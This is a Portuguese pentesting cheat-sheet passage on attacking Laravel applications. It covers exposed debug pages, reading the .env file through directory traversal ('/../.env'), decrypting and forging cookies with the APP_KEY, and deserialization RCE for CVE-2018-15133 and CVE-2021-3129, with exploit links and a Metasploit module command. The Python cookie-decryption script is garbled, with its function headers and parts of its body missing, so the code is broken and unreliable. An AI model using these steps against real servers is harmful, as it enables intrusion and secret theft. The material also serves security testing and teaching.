## Truques do Laravel
|
|
|
|
### Modo de depuração
|
|
|
|
Se o Laravel estiver em **modo de depuração**, você poderá acessar o **código** e os **dados sensíveis**.\
|
|
Por exemplo, `http://127.0.0.1:8000/profiles`:
|
|
|
|
.png>)
|
|
|
|
Isso geralmente é necessário para explorar outras vulnerabilidades de RCE do Laravel.
|
|
|
|
### .env
|
|
|
|
O Laravel salva o APP que usa para criptografar os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando alguma travessia de diretório em: `/../.env`
|
|
|
|
O Laravel também mostrará essas informações na página de depuração (que aparece quando o Laravel encontra um erro e é ativado).
|
|
|
|
Usando a chave secreta APP\_KEY do Laravel, você pode descriptografar e recriptografar cookies:
|
|
|
|
### Descriptografar Cookie
|
|
```python
|
|
import os
|
|
import json
|
|
import hashlib
|
|
import sys
|
|
import hmac
|
|
import base64
|
|
import string
|
|
import requests
|
|
from Crypto.Cipher import AES
|
|
from phpserialize import loads, dumps
|
|

|

|

return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
|
|
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
|
|
return ''

|
def encrypt(string):
|
|
global key
|
|

|
|
#string = dumps(string)
|
|

|
|
string += bytes(chr(padding) * padding, 'utf-8')

### Laravel Deserialization RCE
|
|
|
|
Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
|
|
|
Aqui você pode encontrar informações sobre a vulnerabilidade de deserialização: [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
|
|
|
Você pode testar e explorar usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
|
Ou você também pode explorá-lo com o metasploit: `use unix/http/laravel_token_unserialize_exec`
|
|
|
|
### CVE-2021-3129
|
|
|
|
Outra deserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
